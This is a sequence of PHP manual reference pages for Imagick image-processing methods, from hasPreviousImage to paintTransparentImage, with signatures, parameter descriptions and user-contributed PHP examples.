Imagick::hasPreviousImage — Checks if the object has a previous image

Description

bool Imagick::hasPreviousImage ( void )

Returns TRUE if the object has more images when traversing the list in the reverse direction

Return Values

Returns TRUE if the object has more images when traversing the list in the reverse direction, returns FALSE if there are none.

User Contributed Notes

There are no user contributed notes for this page.


Identifies an image and fetches attributes

  • « Imagick::hasPreviousImage
  • Imagick::implodeImage »
  • PHP Manual
  • Imagick
  • Identifies an image and fetches attributes

Imagick::identifyImage

(PECL imagick 2.0.0)

Imagick::identifyImage — Identifies an image and fetches attributes

Description

array Imagick::identifyImage ([ bool $appendRawOutput = false ] )

Identifies an image and returns the attributes. Attributes include the image width, height, size, and others.

Parameters

appendRawOutput

Return Values

Identifies an image and returns the attributes. Attributes include the image width, height, size, and others.

Example #1 Example Result Format

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

php at ontheroad dot net dot nz 23-Nov-2010 05:04
If you use the option to append the raw output, you can extract the mime type from there.  I'm not sure what's going on in the background here, but it seems far less useful than the command line identify tool.
rob at OhReally dot nl 04-Jun-2008 03:49
The array returned by Imagick::identifyImage():

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

Looks like the only way to get the mimetype is getimagesize()...


Creates a new image as a copy

  • « Imagick::identifyImage
  • Imagick::importImagePixels »
  • PHP Manual
  • Imagick
  • Creates a new image as a copy

Imagick::implodeImage

(PECL imagick 2.0.0)

Imagick::implodeImage — Creates a new image as a copy

Description

bool Imagick::implodeImage ( float $radius )

Creates a new image that is a copy of an existing one with the image pixels "imploded" by the specified percentage.

Parameters

radius

The radius of the implode

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Imports image pixels

  • « Imagick::implodeImage
  • Imagick::labelImage »
  • PHP Manual
  • Imagick
  • Imports image pixels

Imagick::importImagePixels

(No version information available, might only be in Git)

Imagick::importImagePixels — Imports image pixels

Description

public bool Imagick::importImagePixels ( int $x , int $y , int $width , int $height , string $map , int $storage , array $pixels )

Imports pixels from an array into an image. The map is usually 'RGB'. This method imposes the following constraints for the parameters: amount of pixels in the array must match width x height x length of the map. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

x

The image x position

y

The image y position

width

The image width

height

The image height

map

Map of pixel ordering as a string. This can be for example RGB. The value can be any combination or order of R = red, G = green, B = blue, A = alpha (0 is transparent), O = opacity (0 is opaque), C = cyan, Y = yellow, M = magenta, K = black, I = intensity (for grayscale), P = pad.

storage

The pixel storage method. Refer to this list of pixel constants.

pixels

The array of pixels

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Imagick::importImagePixels() example

<?php

/* Generate array of pixels. 2000 pixels per color stripe */
$count = 2000 * 3;

$pixels =
   array_merge(array_pad(array(), $count, 0),
               array_pad(array(), $count, 255),
               array_pad(array(), $count, 0),
               array_pad(array(), $count, 255),
               array_pad(array(), $count, 0));

/* Width and height. The area is amount of pixels divided
   by three. Three comes from 'RGB', three values per pixel */
$width = $height = pow((count($pixels) / 3), 0.5);

/* Create empty image */
$im = new Imagick();
$im->newImage($width, $height, 'gray');

/* Import the pixels into image.
   width * height * strlen("RGB") must match count($pixels) */
$im->importImagePixels(0, 0, $width, $height, "RGB", Imagick::PIXEL_CHAR, $pixels);

/* output as jpeg image */
$im->setImageFormat('jpg');
header("Content-Type: image/jpg");
echo $im;

?>

The above example will output something similar to:

Output of example : Imagick::importImagePixels()

User Contributed Notes

There are no user contributed notes for this page.


Adds a label to an image

  • « Imagick::importImagePixels
  • Imagick::levelImage »
  • PHP Manual
  • Imagick
  • Adds a label to an image

Imagick::labelImage

(PECL imagick 2.0.0)

Imagick::labelImage — Adds a label to an image

Description

bool Imagick::labelImage ( string $label )

Adds a label to an image.

Parameters

label

The label to add

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the levels of an image

  • « Imagick::labelImage
  • Imagick::linearStretchImage »
  • PHP Manual
  • Imagick
  • Adjusts the levels of an image

Imagick::levelImage

(PECL imagick 2.0.0)

Imagick::levelImage — Adjusts the levels of an image

Description

bool Imagick::levelImage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Imagick::CHANNEL_ALL ] )

Adjusts the levels of an image by scaling the colors falling between specified white and black points to the full available quantum range. The parameters provided represent the black, mid, and white points. The black point specifies the darkest color in the image. Colors darker than the black point are set to zero. Mid point specifies a gamma correction to apply to the image. White point specifies the lightest color in the image. Colors brighter than the white point are set to the maximum quantum value.

Parameters

blackPoint

The image black point

gamma

The gamma value

whitePoint

The image white point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Maxim Lovchikov 28-Dec-2010 09:18
I have a trouble with this method because think that quantum range is 0 - 255.
But quantum range for levelImage is 0-65535. You can get quantum range with Imagick::getQuantumRange
There is a right piece of code

$img->levelImage (0, 1.0, 65535);


Stretches with saturation the image intensity

  • « Imagick::levelImage
  • Imagick::liquidRescaleImage »
  • PHP Manual
  • Imagick
  • Stretches with saturation the image intensity

Imagick::linearStretchImage

(PECL imagick 2.0.0)

Imagick::linearStretchImage — Stretches with saturation the image intensity

Description

bool Imagick::linearStretchImage ( float $blackPoint , float $whitePoint )

Stretches with saturation the image intensity.

Parameters

blackPoint

The image black point

whitePoint

The image white point

Return Values

Returns TRUE on success.

User Contributed Notes

SkepticaLee 11-Jun-2014 09:54
"Black" and "white" points here are pixel counts from the darkest and brightest ends respectively. To turn the darkest 90% of the pixels black, and the brightest 5% white, use the following:

<?php
$im = new Imagick ("some image.png");
list ($width, $height) = array_values ($im->getImageGeometry ());
$px = $width * $height;
$im->modulateImage (100, 0, 100);
$im->linearStretchImage ($px * 0.9, $px * 0.05);
$im->writeImage ("temp.jpg");
?>


Animates an image or images

  • « Imagick::linearStretchImage
  • Imagick::magnifyImage »
  • PHP Manual
  • Imagick
  • Animates an image or images

Imagick::liquidRescaleImage

(No version information available, might only be in Git)

Imagick::liquidRescaleImage — Animates an image or images

Description

bool Imagick::liquidRescaleImage ( int $width , int $height , float $delta_x , float $rigidity )

This method scales the images using liquid rescaling method. This method is an implementation of a technique called seam carving. In order for this method to work as expected ImageMagick must be compiled with liblqr support. This method is available if Imagick has been compiled against ImageMagick version 6.3.9 or newer.

Parameters

width

The width of the target size

height

The height of the target size

delta_x

How much the seam can traverse on x-axis. Passing 0 causes the seams to be straight.

rigidity

Introduces a bias for non-straight seams. This parameter is typically 0.

Return Values

Returns TRUE on success.

See Also

  • Imagick::resizeImage() - Scales an image

User Contributed Notes

spider at man dot net 20-Nov-2011 08:00
<?php

    /* Create new object */
    $im = new Imagick( 'test.jpg' );

    /* Scale down */
    $im->liquidRescaleImage( 500, 200, 3, 25 );

    /* Display */
    header( 'Content-Type: image/jpg' );
    echo $im;

    ?>


Scales an image proportionally 2x

  • « Imagick::liquidRescaleImage
  • Imagick::mapImage »
  • PHP Manual
  • Imagick
  • Scales an image proportionally 2x

Imagick::magnifyImage

(PECL imagick 2.0.0)

Imagick::magnifyImage — Scales an image proportionally 2x

Description

bool Imagick::magnifyImage ( void )

Is a convenience method that scales an image proportionally to twice its original size.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Replaces the colors of an image with the closest color from a reference image.

  • « Imagick::magnifyImage
  • Imagick::matteFloodfillImage »
  • PHP Manual
  • Imagick
  • Replaces the colors of an image with the closest color from a reference image.

Imagick::mapImage

(PECL imagick 2.0.0)

Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image.

Description

bool Imagick::mapImage ( Imagick $map , bool $dither )

Parameters

map

dither

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Changes the transparency value of a color

  • « Imagick::mapImage
  • Imagick::medianFilterImage »
  • PHP Manual
  • Imagick
  • Changes the transparency value of a color

Imagick::matteFloodfillImage

(PECL imagick 2.0.0)

Imagick::matteFloodfillImage — Changes the transparency value of a color

Description

bool Imagick::matteFloodfillImage ( float $alpha , float $fuzz , mixed $bordercolor , int $x , int $y )

Changes the transparency value of any pixel that matches target and is an immediate neighbor. If the method FillToBorderMethod is specified, the transparency value is changed for any neighbor pixel that does not match the bordercolor member of image.

Parameters

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

bordercolor

An ImagickPixel object or string representing the border color.

x

The starting x coordinate of the operation.

y

The starting y coordinate of the operation.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the third parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Applies a digital filter

  • « Imagick::matteFloodfillImage
  • Imagick::mergeImageLayers »
  • PHP Manual
  • Imagick
  • Applies a digital filter

Imagick::medianFilterImage

(PECL imagick 2.0.0)

Imagick::medianFilterImage — Applies a digital filter

Description

bool Imagick::medianFilterImage ( float $radius )

Applies a digital filter that improves the quality of a noisy image. Each pixel is replaced by the median in a set of neighboring pixels as defined by radius.

Parameters

radius

The radius of the pixel neighborhood.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Merges image layers

  • « Imagick::medianFilterImage
  • Imagick::minifyImage »
  • PHP Manual
  • Imagick
  • Merges image layers

Imagick::mergeImageLayers

(PECL imagick 2.1.0)

Imagick::mergeImageLayers — Merges image layers

Description

bool Imagick::mergeImageLayers ( int $layer_method )

Merges image layers into one. This method is useful when working with image formats that use multiple layers such as PSD. The merging is controlled using the layer_method which defines how the layers are merged. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Parameters

layer_method

One of the Imagick::LAYERMETHOD_* constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::flattenImages() - Merges a sequence of images

User Contributed Notes

There are no user contributed notes for this page.


Scales an image proportionally to half its size

  • « Imagick::mergeImageLayers
  • Imagick::modulateImage »
  • PHP Manual
  • Imagick
  • Scales an image proportionally to half its size

Imagick::minifyImage

(PECL imagick 2.0.0)

Imagick::minifyImage — Scales an image proportionally to half its size

Description

bool Imagick::minifyImage ( void )

Is a convenience method that scales an image proportionally to one-half its original size

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Control the brightness, saturation, and hue

  • « Imagick::minifyImage
  • Imagick::montageImage »
  • PHP Manual
  • Imagick
  • Control the brightness, saturation, and hue

Imagick::modulateImage

(PECL imagick 2.0.0)

Imagick::modulateImage — Control the brightness, saturation, and hue

Description

bool Imagick::modulateImage ( float $brightness , float $saturation , float $hue )

Lets you control the brightness, saturation, and hue of an image. Hue is the percentage of absolute rotation from the current position. For example 50 results in a counter-clockwise rotation of 90 degrees, 150 results in a clockwise rotation of 90 degrees, with 0 and 200 both resulting in a rotation of 180 degrees.

Parameters

brightness

saturation

hue

Return Values

Returns TRUE on success.

User Contributed Notes

Anonymous 01-Dec-2008 12:36
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  // leave hue at 100%, drop saturation by 100%, leave brightness at 100%
  $img->modulateImage(100, 0, 100);
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Creates a composite image

  • « Imagick::modulateImage
  • Imagick::morphImages »
  • PHP Manual
  • Imagick
  • Creates a composite image

Imagick::montageImage

(PECL imagick 2.0.0)

Imagick::montageImage — Creates a composite image

Description

Imagick Imagick::montageImage ( ImagickDraw $draw , string $tile_geometry , string $thumbnail_geometry , int $mode , string $frame )

Creates a composite image by combining several separate images. The images are tiled on the composite image with the name of the image optionally appearing just below the individual tile.

Parameters

draw

The font name, size, and color are obtained from this object.

tile_geometry

The number of tiles per row and page (e.g. 6x4+0+0).

thumbnail_geometry

Preferred image size and border size of each thumbnail (e.g. 120x120+4+3>).

mode

Thumbnail framing mode, see Montage Mode constants.

frame

Surround the image with an ornamental border (e.g. 15x15+3+3). The frame color is that of the thumbnail's matte color.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Method morphs a set of images

  • « Imagick::montageImage
  • Imagick::mosaicImages »
  • PHP Manual
  • Imagick
  • Method morphs a set of images

Imagick::morphImages

(PECL imagick 2.0.0)

Imagick::morphImages — Method morphs a set of images

Description

Imagick Imagick::morphImages ( int $number_frames )

Method morphs a set of images. Both the image pixels and size are linearly interpolated to give the appearance of a meta-morphosis from one image to the next.

Parameters

number_frames

The number of in-between images to generate.

Return Values

This method returns a new Imagick object on success. Throw an ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Forms a mosaic from images

  • « Imagick::morphImages
  • Imagick::motionBlurImage »
  • PHP Manual
  • Imagick
  • Forms a mosaic from images

Imagick::mosaicImages

(PECL imagick 2.0.0)

Imagick::mosaicImages — Forms a mosaic from images

Description

Imagick Imagick::mosaicImages ( void )

Inlays an image sequence to form a single coherent picture. It returns a wand with each image in the sequence composited at the location defined by the page offset of the image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Simulates motion blur

  • « Imagick::mosaicImages
  • Imagick::negateImage »
  • PHP Manual
  • Imagick
  • Simulates motion blur

Imagick::motionBlurImage

(PECL imagick 2.0.0)

Imagick::motionBlurImage — Simulates motion blur

Description

bool Imagick::motionBlurImage ( float $radius , float $sigma , float $angle [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Simulates motion blur. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and MotionBlurImage() selects a suitable radius for you. Angle gives the angle of the blurring motion.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants. The channel argument affects only if Imagick is compiled against ImageMagick version 6.4.4 or greater.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Negates the colors in the reference image

  • « Imagick::motionBlurImage
  • Imagick::newImage »
  • PHP Manual
  • Imagick
  • Negates the colors in the reference image

Imagick::negateImage

(PECL imagick 2.0.0)

Imagick::negateImage — Negates the colors in the reference image

Description

bool Imagick::negateImage ( bool $gray [, int $channel = Imagick::CHANNEL_ALL ] )

Negates the colors in the reference image. The Grayscale option means that only grayscale values within the image are negated.

Parameters

gray

Whether to only negate grayscale pixels within the image.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new image

  • « Imagick::negateImage
  • Imagick::newPseudoImage »
  • PHP Manual
  • Imagick
  • Creates a new image

Imagick::newImage

(PECL imagick 2.0.0)

Imagick::newImage — Creates a new image

Description

bool Imagick::newImage ( int $cols , int $rows , mixed $background [, string $format ] )

Creates a new image and associates ImagickPixel value as background color

Parameters

cols

Columns in the new image

rows

Rows in the new image

background

The background color used for this image

format

Image format. This parameter was added in Imagick version 2.0.1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the third parameter. Previous versions allow only an ImagickPixel object.

Examples

Example #1 Using Imagick::newImage():

Create a new image and display it.

<?php

$image = new Imagick();
$image->newImage(100, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

christian dot reinecke at web dot de 23-Jun-2009 01:35
The color value (3rd argument) for transparency is "none".


Creates a new image

  • « Imagick::newImage
  • Imagick::nextImage »
  • PHP Manual
  • Imagick
  • Creates a new image

Imagick::newPseudoImage

(PECL imagick 2.0.0)

Imagick::newPseudoImage — Creates a new image

Description

bool Imagick::newPseudoImage ( int $columns , int $rows , string $pseudoString )

Creates a new image using ImageMagick pseudo-formats.

Parameters

columns

columns in the new image

rows

rows in the new image

pseudoString

string containing pseudo image definition.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Pekka Jrvinen 22-Jul-2010 03:47
See http://www.imagemagick.org/script/formats.php for pseudoString parameter


Moves to the next image

  • « Imagick::newPseudoImage
  • Imagick::normalizeImage »
  • PHP Manual
  • Imagick
  • Moves to the next image

Imagick::nextImage

(PECL imagick 2.0.0)

Imagick::nextImage — Moves to the next image

Description

bool Imagick::nextImage ( void )

Associates the next image in the image list with an Imagick object.

Return Values

Returns TRUE on success.

User Contributed Notes

markus dot s dot schmitz at gmail dot com 11-Dec-2012 07:46
Convert PDF to JPG page-wise:

<?php
$i = 0;

$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
while($imagick->hasNextImage()) {
    $imagick->writeImage(++$i.'-converted.jpg', false);
    $imagick->nextImage();
}
?>

See also: http://php.net/manual/en/imagick.readimage.php


Enhances the contrast of a color image

  • « Imagick::nextImage
  • Imagick::oilPaintImage »
  • PHP Manual
  • Imagick
  • Enhances the contrast of a color image

Imagick::normalizeImage

(PECL imagick 2.0.0)

Imagick::normalizeImage — Enhances the contrast of a color image

Description

bool Imagick::normalizeImage ([ int $channel = Imagick::CHANNEL_ALL ] )

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available.

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Simulates an oil painting

  • « Imagick::normalizeImage
  • Imagick::opaquePaintImage »
  • PHP Manual
  • Imagick
  • Simulates an oil painting

Imagick::oilPaintImage

(PECL imagick 2.0.0)

Imagick::oilPaintImage — Simulates an oil painting

Description

bool Imagick::oilPaintImage ( float $radius )

Applies a special effect filter that simulates an oil painting. Each pixel is replaced by the most frequent color occurring in a circular region defined by radius.

Parameters

radius

The radius of the circular neighborhood.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Changes the color value of any pixel that matches target

  • « Imagick::oilPaintImage
  • Imagick::optimizeImageLayers »
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::opaquePaintImage

(No version information available, might only be in Git)

Imagick::opaquePaintImage — Changes the color value of any pixel that matches target

Description

bool Imagick::opaquePaintImage ( mixed $target , mixed $fill , float $fuzz , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Changes any pixel that matches color with the color defined by fill. This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

target

ImagickPixel object or a string containing the color to change

fill

The replacement color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

invert

If TRUE paints any pixel that does not match the target color.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Removes repeated portions of images to optimize

  • « Imagick::opaquePaintImage
  • Imagick::orderedPosterizeImage »
  • PHP Manual
  • Imagick
  • Removes repeated portions of images to optimize

Imagick::optimizeImageLayers

(PECL imagick 2.0.0)

Imagick::optimizeImageLayers — Removes repeated portions of images to optimize

Description

bool Imagick::optimizeImageLayers ( void )

Compares each image the GIF disposed forms of the previous image in the sequence. From this it attempts to select the smallest cropped image to replace each frame, while preserving the results of the animation. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::optimizeImageLayers()

Reading, optimizing and writing a GIF image

<?php
/* create new imagick object */
$im = new Imagick("test.gif");

/* optimize the image layers */
$im->optimizeImageLayers();

/* write the image back */
$im->writeImages("test_optimized.gif", true);
?>

See Also

  • Imagick::compareImageLayers() - Returns the maximum bounding region between images
  • Imagick::writeImages() - Writes an image or image sequence
  • Imagick::writeImage() - Writes an image to the specified filename

User Contributed Notes

f21 dot groups at gmail dot com 16-Jun-2013 11:37
In imagick 3.x (have not checked 2.x), this returns an imagemagick object and not a boolean.

<?php

$image = new Imagick('myanimation.gif');

$image = $image->optimizeImageLayers(); //Does not return a boolean!

$image->writeImage('optimized.gif');


Performs an ordered dither

  • « Imagick::optimizeImageLayers
  • Imagick::paintFloodfillImage »
  • PHP Manual
  • Imagick
  • Performs an ordered dither

Imagick::orderedPosterizeImage

(PECL imagick 2.2.2)

Imagick::orderedPosterizeImage — Performs an ordered dither

Description

bool Imagick::orderedPosterizeImage ( string $threshold_map [, int $channel = Imagick::CHANNEL_ALL ] )

Performs an ordered dither based on a number of pre-defined dithering threshold maps, but over multiple intensity levels, which can be different for different channels, according to the input arguments. This method is available if Imagick has been compiled against ImageMagick version 6.3.1 or newer.

Parameters

threshold_map

A string containing the name of the threshold dither map to use

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 24-Apr-2012 09:39
Originally, I thought this function would be similar to the Posterize function, or at least, any one of the Imagick class functions that produces an artistic effect (like the oilPaintImage function).  This function can be used for those purposes, but it is mostly geared toward print production.  The OrderedPosterize is simply a highly flexible dithering tool.  The intention essentially is to produce high-resolution imagery by means of using constant dots across a medium that vary in size according to the detail of the imagery.  Everyone has seen a dithered photograph inside of a newspaper, but the wiki page provides better examples: http://en.wikipedia.org/wiki/Dither .

The two parameters are unusual to someone who simply wants to get the use of this function without fussing too much about the Imagick class.

First parameter: The threshold_map is a set of "brushes" predefined by a very simple xml file.  They are: threshold, checks, o2x2, o3x3, o4x4, o8x8, h4x4a, h6x6a, h8x8a, h4x4o, h6x6o, h8x8o, h16x16o, c5x5b, c5x5w, c6x6b, c6x6w, c7x7b, and c7x7w.  These are the values you are expected to input as parameters for the Thershold_Map value.  Much better descriptions of these brush shapes available at the Imagick site: http://www.imagemagick.org/Usage/quantize/tmaps_list.txt .

Second parameter: The channel is any of the constants as predefined by the Imagick class.  In the code, the value looks like "imagick::CHANNEL_RED", but you have the "_value" options of: red, undefined, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  More info here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .

Finally, don't forget you can use bitwise operators on the second parameter.  That means you can use & to AND them, | to OR them, & to XOR them, and ~ to NEGATE them.  A valid parameter for the second parameter would be: "((~imagick::CHANNEL_GREEN) ^ imagick::CHANNEL_YELLOW) | imagick::CHANNEL_MAGENTA)".  You can get extremely creative in this particular parameter.  And if you want to define your own brushes using simple XML, then that's also true of the first parameter, too.

Note:  You can use this function artistically.  How?  Use the orderedPosterizeImage to give the image some texture (a photo of a vase, for instance), and then use your OilPoint, Sketch, or Standard Posterize to give the image a cool effect.  Alone, though, seems pretty boring.

And now, a very simple demonstration :

<?php

            // Author: holdoffhunger@gmail.com

        // Filename
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_source.bmp"

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->orderedPosterizeImage("o2x2", imagick::CHANNEL_GREEN);

        // Save File
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_result.bmp"

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Changes the color value of any pixel that matches target

  • « Imagick::orderedPosterizeImage
  • Imagick::paintOpaqueImage »
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::paintFloodfillImage

(PECL imagick 2.1.0)

Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target

Description

bool Imagick::paintFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )

Changes the color value of any pixel that matches target and is an immediate neighbor. As of ImageMagick 6.3.8 this method has been deprecated and Imagick::floodfillPaintImage() should be used instead.

Parameters

fill

ImagickPixel object or a string containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color for the purposes of the floodfill.

bordercolor

ImagickPixel object or a string containing the border color

x

X start position of the floodfill

y

Y start position of the floodfill

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

mamcia at gmail dot com 17-Feb-2011 10:08
Seems that this method doesn't work as expected. Use Imagick::floodFillPaintImage() instead.

<?php
$img = new Imagick('/tmp/test.png');
$img->floodFillPaintImage('green', 10, 'white', 100, 100, false);
$img->writeImage('/tmp/out.png');
$img->clear();
$img->destroy();
?>


Change any pixel that matches color

  • « Imagick::paintFloodfillImage
  • Imagick::paintTransparentImage »
  • PHP Manual
  • Imagick
  • Change any pixel that matches color

Imagick::paintOpaqueImage

(PECL imagick 2.0.0)

Imagick::paintOpaqueImage — Change any pixel that matches color

Description

bool Imagick::paintOpaqueImage ( mixed $target , mixed $fill , float $fuzz [, int $channel = Imagick::CHANNEL_ALL ] )

Changes any pixel that matches color with the color defined by fill.

Parameters

target

Change this target color to the fill color within the image. An ImagickPixel object or a string representing the target color.

fill

An ImagickPixel object or a string representing the fill color.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as first and second parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Changes any pixel that matches color with the color defined by fill

  • « Imagick::paintOpaqueImage
  • Imagick::pingImage »
  • PHP Manual
  • Imagick
  • Changes any pixel that matches color with the color defined by fill

Imagick::paintTransparentImage

(PECL imagick 2.0.0)

Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill

Description

bool Imagick::paintTransparentImage ( mixed $target , float $alpha , float $fuzz )

Changes any pixel that matches color with the color defined by fill.

Parameters

target

Change this target color to specified opacity value within the image.

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

quickshiftin at gmail dot com 08-Oct-2014 01:22
Have a look at this thread on Stackoverflow for the answer regarding how to determine the max intensity of an image.

http://stackoverflow.com/questions/26239130/determine-max-possible-intensity-of-image/26240656#26240656

In short here is the code to make the $fuzz parameter behave more like you would expect (it now represents a percentage between 0-100). The $fuzz value should now be a float between 0 and 1.

class SaneImagick extends Imagick
{
    public function paintTransparentImage($target, $alpha, $fuzz)
    {
        $iQuantumDepth = pow(2, $this->getQuantumDepth()['quantumDepthLong']);
        return parent::paintTransparentImage($target, $alpha, $fuzz * $iQuantumDepth);
    }
}
alain at ocarina dot fr 17-Oct-2011 11:14
The fuzz is just working well in a range of 0 to 65535.

I suggest you to try to move fuzz on a color spectrum image.

1/ Get a color spectrum ( Google Image has a lot )

2/ Try this code :

<?php

    function fuzzTest($source, $target, $fuzz) {

        // Loads image
        $im = new Imagick($source);

        // Resizes images to make them easily comparable
        $im->resizeImage(320, 240, Imagick::FILTER_LANCZOS, 1, true);

        // Apply fuzz
        $im->paintTransparentImage($im->getImagePixelColor(0, 0), 0, $fuzz);

         // Writes image
        $im->setImageFormat('png');
        $im->writeImage($target);
        $im->destroy();

        return true;
     }

     for ($i = 0; ($i <= 10); $i++) {
         fuzzTest('spectrum.png', "test_{$i}.png", (6553.5 * $i));
         echo '<img src="test_' . $i . '.png" />&nbsp;';
     }

 ?>
Anonymous 06-Mar-2009 05:11
Actually it does seem to work just not the way expected perhaps.

